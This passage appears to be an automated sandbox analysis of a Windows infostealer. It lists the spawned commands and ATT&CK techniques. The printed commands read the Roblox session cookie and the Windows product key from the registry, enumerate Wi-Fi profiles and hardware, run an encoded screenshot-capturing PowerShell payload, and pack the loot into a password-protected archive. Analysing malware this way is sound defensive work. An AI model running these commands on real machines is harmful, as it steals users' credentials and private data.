    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6108
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:1904
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2608
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5848
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:2340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4168
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3896
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4deqcvmk\4deqcvmk.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:6024
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA34B.tmp" "c:\Users\Admin\AppData\Local\Temp\4deqcvmk\CSC96E8B9DF5DA64163B786FAB9577EDA4.TMP"
        6⤵
        
        PID:4332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2912
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2900
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3136
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5568
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5312
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2672
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:3548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2460
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI000016442\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\diOhD.zip" *"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:816
  - - C:\Users\Admin\AppData\Local\Temp\_MEI000016442\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI000016442\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\diOhD.zip" *
      4⤵
      Executes dropped EXE
      PID:1272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4300
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3500
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3648
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3876
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4880
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:3708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3748
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2560

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact